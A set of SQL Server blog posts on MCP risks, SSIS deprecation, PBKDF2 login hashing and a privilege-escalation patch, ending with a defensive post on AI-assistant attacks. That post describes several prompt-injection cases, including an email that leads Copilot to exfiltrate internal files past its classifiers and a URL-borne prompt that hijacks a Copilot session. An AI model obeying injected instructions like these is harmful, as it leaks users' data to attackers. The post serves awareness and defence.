MCP is easy to set up. That's a feature and a risk. Before implementing, you should audit what your developers are already running. A developer who found a GitHub repo with an MSSQL MCP server config and a five-minute setup guide may already have something pointed at a dev database — which have production data in them more often than people admit.

Know where the data goes.

When your AI tool processes a query result, that result travels to wherever the model is running. If you're using a cloud-hosted LLM like Anthropic, OpenAI or Google, your query results are leaving your network. For monitoring or diagnostics data, this is probably acceptable. For customer data, financial records, or anything regulated, your legal team will have opinions about this.

So, Should You Set It Up?

For monitoring and diagnostics, yes. Erik Darling's Performance Monitor is the right first step — self-contained, read-only against monitoring data, nothing leaves your network. Low risk. Immediately useful. A good way to see what AI + SQL Server MCP actually feels like before committing to anything bigger.

For exposing production application data to AI agents, we must treat it like any other integration project: defined scope, purpose-built service account, explicit entity configuration, and a conversation with whoever manages your security. The technology is ready. The governance discussion in most shops hasn't been held yet.

Coming Up

In the next post, I'll walk through setting up the SQL MCP Server locally using Data API Builder — from a working dab-config.json to a live connection with an AI client — so you can see exactly what a controlled, scoped MCP setup looks like in practice.

More to Read:

SQL MCP Server Overview — Microsoft Learn
Free SQL Server Performance Monitoring — Erik Darling
Understanding and Mitigating Security Risks in MCP Implementations — Microsoft Community Hub
Managed MCP Servers for Google Cloud Databases — Google Cloud Blog

SSIS Is Not Dead. Yet.

SSRS is gone. SQL Server 2025 shipped without it — the first version to drop SSRS entirely, with Power BI Report Server (PBIRS) as the named replacement. But what about SSIS?

There is no EOL yet, but the signals are clear. SSIS is being phased out in favor of Microsoft Fabric, which is positioned as the next-generation unified analytics platform. Look at that. They don't even call it 'ETL' anymore. Again, it's not gone yet, but Microsoft is encouraging the modernization of ETL workloads to Fabric to address the limitations of on-premise SSIS infrastructure, such as limited scalability and high maintenance overhead.

We've been here before. DTS became SSIS with SQL Server 2005 — Yukon, for those of us who were there. I was. [Thank you, Donald Farmer!] The transition wasn't a cliff either. It was deprecation notices, a long runway, and then one day DTS was just gone. The difference this time is that the runway leads to the cloud.

SSIS 2025 Shipped. Read the Fine Print.

SSIS 2025 is generally available, bundled with SQL Server 2025. Microsoft announced it at Ignite in November 2025 within the Microsoft Fabric Blog, not the SQL Server blog. That's not an accident.

Here's what shipped with SSIS 2025 — the full picture, not just the press release version.

The one new feature:

The ADO.NET connection manager now supports the Microsoft SqlClient Data Provider, with Microsoft Entra ID authentication and TLS 1.3 support. That's it. One new feature in the entire release.

What's deprecated:

Legacy Integration Services Service — the service that lets SSMS monitor packages stored in the SSIS Package Store or msdb. Not a big deal if you've migrated to the SSIS Catalog (SSISDB), but if you're still on the package deployment model, this will matter.

32-bit execution mode. SSMS 21 and SSIS Projects 2022 are 64-bit only going forward. If you have custom or third-party components that are 32-bit only, they break.

SqlClient Data Provider (SDS) connection type. The recommendation is to migrate to the ADO.NET connection type.

What's been removed entirely:

CDC components by Attunity and CDC service for Oracle by Attunity — gone. If you're using these for change data capture from Oracle, you need a replacement. Now.

Microsoft Connector for Oracle — also gone. Support ended July 2025. Not available in SQL Server 2025 onward.

Hadoop components — Hadoop Hive Task, Hadoop Pig Task, Hadoop File System Task — removed.

The breaking change nobody talks about:

The Microsoft.SqlServer.Management.IntegrationServices assembly now depends on Microsoft.Data.SqlClient instead of System.Data.SqlClient. If you have PowerShell scripts, C# automation, or deployment tooling that instantiates the IntegrationServices object, those scripts will break without updates. This one is quiet, easy to miss, and will bite you during your first post-upgrade deployment.

Where Microsoft Is Pointing

The official migration path is Microsoft Fabric Data Factory. SSIS lift-and-shift in Fabric is currently in private preview. That is the ability to run existing SSIS packages inside a Fabric workspace without rewriting them. Microsoft's framing is 'bridge, not cliff,' and that's fair. But a bridge going one direction is still a one-way bridge.

For what it's worth, SQL Server 2022 extended support runs to January 11, 2033, and SSIS goes with it. But that's seven years, not forever, and migrations of complex SSIS estates take longer than people expect.

What You Should Actually Do Right Now

Nobody is forcing you off SSIS today, but here's what's worth doing now, before anything becomes urgent:

Know what you have.

Inventory your SSIS packages. How many are there? Where are they deployed — SSIS Catalog, msdb, file system? Which ones use Oracle connectors, CDC components, or 32-bit custom components? If you can't answer those questions, you can't plan.

Check your automation scripts.

If anything in your environment uses Microsoft.SqlServer.Management.IntegrationServices — PowerShell deployment scripts, CI/CD pipelines, custom monitoring — verify it's referencing Microsoft.Data.SqlClient before you upgrade to SQL Server 2025. This is the most likely silent failure on upgrade day.

Identify your Oracle-dependent packages.

The Microsoft Connector for Oracle is gone in SSIS 2025. If you're upgrading SQL Server and you have packages using that connector, they will not work. Third-party alternatives exist — ADO.NET components, KingswaySoft, and others — but you need to know which packages are affected before upgrade day, not after.

Don't migrate to Fabric yet just because Microsoft says to.

Fabric Data Factory is a genuinely different product. It's cloud-native, SaaS, and not a drop-in replacement for on-premises SSIS. The lift-and-shift option in private preview is promising, but it's still preview. For production ETL workloads, 'let's move to Fabric' is a project, not a setting. Treat it that way.

So, Is SSIS Next?

Brent Ozar asked this question in June 2025. The community answered the SSRS half loudly. The SSIS half got quiet. Here's my answer.

No EOL date has been announced. SSIS 2025 shipped, which means Microsoft is still investing in it — just barely, and clearly with both eyes on Fabric. The trajectory is obvious even if the timeline isn't. SSRS got a clean announcement and a named replacement. SSIS is getting a slower walk toward the exit, with a Fabric-shaped door at the end of the hallway.

I think Brent put it well in his comments: without a fully on-premises replacement for SSIS, Microsoft can't make a clean announcement the way they did with SSRS. The closest thing on-premise shops have is a self-hosted integration runtime — but the control still depends on the cloud.

For now: don't panic, do inventory, review your automation scripts, and watch what happens with SSIS lift-and-shift in Fabric once it goes GA. That's when the real Fabric migration conversation starts. Let me know how I can help.

More to Read:

What's New in Integration Services in SQL Server 2025 — Microsoft Learn
The Evolution of SSIS: SSIS 2025 Generally Available — Microsoft Fabric Blog
SSIS Microsoft Connector for Oracle Deprecation — Microsoft SQL Server Blog
SQL Server 2022 Lifecycle — Microsoft Learn

SQL Server 2025 Slowed Down Your Logins. Intentionally.

You upgraded to SQL Server 2025. Your SQL auth logins are slower. This is not a bug. Microsoft did this on purpose — which is actually good news, but if you're not using connection pooling, it's not going to feel very good.

What Changed

Prior to SQL Server 2025, SQL login passwords were hashed using SHA-512 with a random salt — one pass. Fast to verify, which is exactly what attackers love.

SQL Server 2025 switches to PBKDF2 (RFC 2898) as the default hashing algorithm. Same SHA-512 underneath, but now the password is hashed 100,000 times in a loop. This is the standard recommended by NIST SP 800-63B for password-based authentication, and Microsoft confirms it in their SQL Server 2025 security overview.

You can see the difference in the hash itself. Run this on both versions:

SELECT PWDENCRYPT('MyPassword123');

Pre-2025 hashes start with 0x0200. SQL Server 2025 hashes start with 0x0300. That version byte tells you what you've got. Same function. Completely different work going on behind the scenes.

How to Measure the Impact

The key here is to pre-generate the hash first, then time only the verification step to mimic what's actually happening at login.

-- Step 1: pre-generate the hash (not timed)
DECLARE @hash VARBINARY(256) = PWDENCRYPT('MyPassword123');

-- Step 2: time only the verification
DECLARE @start DATETIME2 = SYSDATETIME();

SELECT PWDCOMPARE('MyPassword123', @hash) AS PasswordMatch;

SELECT DATEDIFF(MILLISECOND, @start, SYSDATETIME()) AS ElapsedMs;

No special permissions required — any login that can connect and run a basic SELECT can run this. And the password you pass in is just a string; it has nothing to do with your own login or any existing account on the instance.

Run it on SQL Server 2022 first, then 2025. The difference is immediate. On 2022, you'll see 0ms — single-pass SHA-512 is too fast for millisecond precision to capture. On 2025, the result is hardware-dependent. PBKDF2 is intentionally single-threaded and CPU-bound, so your number will reflect your server's single-core performance. VladDBA measured approximately 150ms on his test environment. On my 2025 instance, I got 229ms. Your number will be your number — run it and find out.

Version	Algorithm	Iterations	ElapsedMs (sample)
SQL Server 2012–2022	SHA-512 + salt	1	0ms
SQL Server 2025 (VladDBA)	PBKDF2 / SHA-512	100,000	~150ms
SQL Server 2025 (sqlfingers)	PBKDF2 / SHA-512	100,000	~229ms

But Here's the Other Side

That overhead isn't Microsoft being careless. It's intentional friction — and it hits attackers far harder than it hits your app.

VladDBA ran the numbers on password brute-forcing. On SQL Server 2022, a password audit script cracked a set of hashes in about 45 seconds. On SQL Server 2025 with PBKDF2, the same workload is estimated at 154,008 seconds — roughly 42 hours. Same hardware, same wordlist. The only difference is the hash algorithm. That is not a small point.

Microsoft acknowledges the login latency tradeoff directly on the SQL Server 2025 Known Issues page. They call it out, they're not hiding it.

What You Should Do

Check whether your applications are using connection pooling. If they are, the per-login overhead happens once per pool connection establishment, not on every request — and you're probably going to be fine. If they're not pooling, or if you're running scripts, jobs, or monitoring tools that open a fresh SQL auth connection on every execution, this IS going to surface. Without question.

Existing logins migrate automatically on first successful authentication.

SQL logins created before the upgrade retain their 0x0200 hash until they authenticate for the first time against the upgraded instance. At that point, SQL Server silently rehashes the password under PBKDF2 and stores the new 0x0300 hash going forward. This works because authentication is the only moment SQL Server has access to the plaintext password. Any login that never authenticates post-upgrade will retain its old hash indefinitely. If you want to confirm which logins are still on the old algorithm, check the hash header in sys.sql_logins:

SELECT name,
       CONVERT(VARBINARY(2), password_hash) AS HashVersion
FROM   sys.sql_logins
WHERE  type = 'S'
AND    password_hash IS NOT NULL;

0x0200 = old. 0x0300 = PBKDF2. Simple as that.

Kerberos and Windows auth are unaffected.

This only applies to SQL authentication. If your environment uses Windows auth or Kerberos throughout, none of this touches you.

There's an undocumented trace flag.

Community discussion on Microsoft Learn surfaced startup parameter -T4671 as a way to revert to pre-2025 hashing behavior. Note that TF 4671 reversed meaning between versions — in SQL Server 2022 it enabled iterative hashing; in 2025 it appears to disable it. This is undocumented and unsupported. I'm mentioning it because you'll see it discussed, not because I'm recommending it.

More to Read:

SQL Server 2025 Known Issues — Microsoft Learn
Secure by Default: What's New in SQL Server 2025 Security — Microsoft Community Hub
Looking into SQL Server 2025's new PBKDF2 hashing algorithm — VladDBA
NIST SP 800-63B Digital Identity Guidelines

Patch Tuesday: Your sysadmin Role Was Up for Grabs

Yesterday was Patch Tuesday, and this month we've got a good one. CVE-2026-21262 was already publicly disclosed before Microsoft shipped the fix - and it lets an authenticated SQL Server user escalate straight to sysadmin. SQL Server 2016 through 2025, Windows and Linux. No physical access required. No user interaction required. Just a valid login and a network path to your instance. Go patch!

If you're a SQL Server DBA or consultant and you're reading this before patching, stop reading and go patch.

What's the Vulnerability?

CVE-2026-21262 is an elevation of privilege flaw rooted in improper access control (CWE-284) within SQL Server. CVSS score: 8.8 (High). The attack vector is network-based, complexity is low, and it requires only low-level privileges to initiate. No user interaction needed.

Translation: someone with a regular SQL login can walk out as sysadmin. Sysadmin owns the instance. That's your data, your jobs, your linked servers, your service accounts, your everything.

The vulnerability was publicly disclosed before patches shipped. That means the clock started ticking before Microsoft's fix was even available. Exploitation hasn't been confirmed in the wild as of this writing, but 'publicly disclosed' is not a reason to relax — it's a reason to focus.

Two additional elevation of privilege CVEs rode in on the same Patch Tuesday: CVE-2026-26115 and CVE-2026-26116. All three are addressed by the same security updates.

Who's Affected?

Every currently supported SQL Server version — Windows and Linux both. Here's your patch reference:

Version	Track	KB	Build
SQL Server 2016 SP3	GDR	KB5077474	13.0.6480.4
SQL Server 2017	GDR	KB5077472	14.0.2100.4
SQL Server 2017	CU31	KB5077471	14.0.3520.4
SQL Server 2019	GDR	KB5077470	15.0.2160.4
SQL Server 2022	GDR	KB5077465	16.0.1170.5
SQL Server 2025	GDR	KB5077468	17.0.1105.2
SQL Server 2025	CU2	KB5077466	17.0.4020.2

Not sure which track you're on? Run this:

SELECT
    SERVERPROPERTY('ProductVersion')  AS ProductVersion,
    SERVERPROPERTY('ProductLevel')    AS ProductLevel,
    SERVERPROPERTY('ProductUpdateLevel') AS CULevel,
    SERVERPROPERTY('Edition')         AS Edition;

If your build number is below the target for your version, you need the patch. Match your current build to the table above to confirm which KB applies. GDR track gets the GDR KB; CU track gets the CU KB.

What Else Is in These Updates?

Beyond the CVE fix, the March security updates include a couple of hardening changes worth knowing about. One blocks the ALTER USER operation when the target login is the system Administrator account. Another fixes an elevation of privilege issue in the version upgrade process for merge replication. SQL Server 2025 also gets removal of an internal system stored procedure that carried a potential SQL injection risk — separate from CVE-2026-21262, but cleaned up in the same package.

While You're At It

Patching fixes the vulnerability. It doesn't fix whatever may have already happened. After you apply the update, it's worth a quick sanity check on your SQL logins and role memberships:

-- Who's sysadmin right now?
SELECT
    l.name,
    l.type_desc,
    l.is_disabled,
    l.create_date,
    l.modify_date
FROM sys.server_principals l INNER JOIN sys.server_role_members rm 
  ON l.principal_id = rm.member_principal_id INNER JOIN sys.server_principals r 
    ON rm.role_principal_id = r.principal_id
WHERE r.name = 'sysadmin'
ORDER BY l.name;

If anything in that list surprises you, you should investigate before you assume it's fine.

References

CVE-2026-21262 - Microsoft Security Response Center
KB5077474 - SQL Server 2016 SP3 GDR
KB5077472 - SQL Server 2017 GDR
KB5077471 - SQL Server 2017 CU31
KB5077470 - SQL Server 2019 GDR
KB5077465 - SQL Server 2022 GDR
KB5077468 - SQL Server 2025 GDR
KB5077466 - SQL Server 2025 CU2

Before You Paste That Execution Plan Into ChatGPT…

AI in Your Browser, Data on Your Server: What Could Go Wrong? A lot, it turns out. And some of it already has.

I received a newsletter today about a Chrome vulnerability involving Gemini. I clicked it, read it, and read again — because the Gemini story was just the headline. Underneath was a pattern every SQL Server shop should understand now, before it becomes a post-incident RCA.

The Gemini Story (Start Here)

In January 2026, Google quietly patched a high-severity Chrome vulnerability — CVE-2026-0628 — affecting Chrome's 'Live in Chrome' panel, which runs Gemini as a privileged browser component, not a regular tab. That distinction matters. The panel has elevated access to local files, screenshots, camera, and microphone. Those are features Gemini needs to do its job. They're also exactly what a hacker is looking for.

Researchers at Palo Alto Networks Unit 42 found that a Chrome extension with only basic permissions could inject JavaScript into that panel and inherit all of those elevated privileges. Camera on. Mic on. Local files open. The trigger wasn't a suspicious download or a phishing form — just opening the Gemini panel was enough.

The technical root cause: when gemini.google.com/app loads in a regular tab, extensions can interact with it but gain nothing special. When the same URL loads inside the Gemini browser panel, Chrome hooks it with browser-level capabilities. This was the exploit, and it's been named GlicJack (short for Gemini Live in Chrome hijack).

Google patched it in Chrome 143.0.7499.192/193. If you're on a current version, you're fine. If your org is on a managed Chrome deployment with slow update cycles, check now.

That's Gemini. Now Let's Talk Copilot.

If your shop runs Microsoft 365 — and many do — you have more to read.

Reprompt (CVE-2025-64671): Discovered in January 2026, this one let an attacker hijack a Microsoft Copilot Personal session with a single phishing link. The malicious prompt was embedded in a URL parameter. Nothing else needed. Copilot's automatic execution did the rest. The attacker's session persisted, forming a covert channel for data exfiltration.

Covert exfiltration. The name is Bond, ma'am. 😆

Patched on January 2026 Patch Tuesday. Source: Ars Technica — A single click mounted a covert, multistage attack against Copilot

EchoLeak (CVE-2025-32711): This one's ugly. A zero-click vulnerability in Microsoft 365 Copilot. An attacker sent a crafted email. Copilot read it, got injected, accessed internal files, and exfiltrated data — all from the user just having Copilot open. It bypassed Microsoft's own prompt injection classifiers and link redaction, and they issued emergency patches. The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System

Copilot Studio prompt injection: Tenable AI Research demonstrated that an agent built in Microsoft's no-code Copilot Studio can be manipulated with a plain-text prompt into returning multiple customer records or executing unauthorized transactions. No exploit kit. No elevated permissions. Just a carefully worded request. Details: tenable.com — Copilot Studio Security: 3 Risks CISOs Must Address Now

So What Does This Have to Do With SQL Server?

An awful lot.

Think about what's on your clipboard when you're working a problem and decide to ask ChatGPT or Copilot for help: execution plans, stored procedure logic, object names, row counts, even connection strings. According to the LayerX Enterprise AI & SaaS Data Security Report 2025, 77% of employees paste data into GenAI prompts — and 40% of file uploads include sensitive personal or financial data.

That's not a theoretical risk. That's just a Tuesday.

Now layer on the vulnerabilities above. If a malicious extension is running in Chrome while the Gemini panel is open — or if Copilot has been fed a crafted prompt through an email — the AI assistant that's 'helping' you tune a query may also be reading local files or operating inside a hijacked session. Even the data you didn't paste can still be exposed through what the AI can see.

The Structural Problem

GlicJack, Reprompt, and EchoLeak aren't random bugs. They're symptoms of the same design tension: AI assistants need broad access to be useful, and broad access is exactly what attackers are looking for.

OWASP ranked indirect prompt injection — the technique behind EchoLeak and Reprompt — as the #1 threat to LLM applications in 2025. The attack surface keeps growing from there.

Copilot in SSMS. Copilot in Azure Data Studio. AI-assisted query generation in SQL Server 2025. These tools are legitimately useful. They're also new vectors.

What To Do Right Now

1. Update Chrome. CVE-2026-0628 is patched in current versions. If your org manages Chrome centrally, verify the rollout.

2. Audit your Chrome extensions. The Gemini exploit required only basic extension permissions. Remove anything you can't identify and actively justify.

3. Know what Copilot can reach. Microsoft 365 Copilot inherits the permissions of the user running it. Over-permissioned accounts mean over-permissioned AI. Know what it can reach before it gets there.

4. Treat AI input like a query parameter. Anything you paste into an AI tool is potentially logged, stored, or exposed. Scrub identifiable schema details and connection information before handing a problem to an AI assistant — the same instinct you'd apply before posting to a public forum.

5. Watch the Copilot Studio sprawl. If business teams are building agents on top of your SQL Server data, find out. Agents built without IT oversight inherit whatever permissions their creator has and are prompt-injectable by default. Very. Big. Exposure.

Bottom Line

The Gemini CVE is already patched. The habits that expose your SQL Server data may not be.

AI tools that touch your query environment are useful enough that people will use them regardless of policy. The job isn't to ban them. It's to understand the attack surface and manage it deliberately. These vulnerabilities aren't edge cases cooked up in a lab. They shipped in production, in tools your team is probably using right now.

Patch Chrome. Audit extensions. Know what Copilot can see. And maybe think twice before pasting that execution plan.

---

More to Read:

Unit 42 — GlicJack technical writeup
Malwarebytes — Chrome flaw, Gemini hijack
The Hacker News — Chrome vulnerability, Gemini panel
The Register — Chrome AI panel, privilege escalation
Bleeping Computer — Copilot prompt injection flaws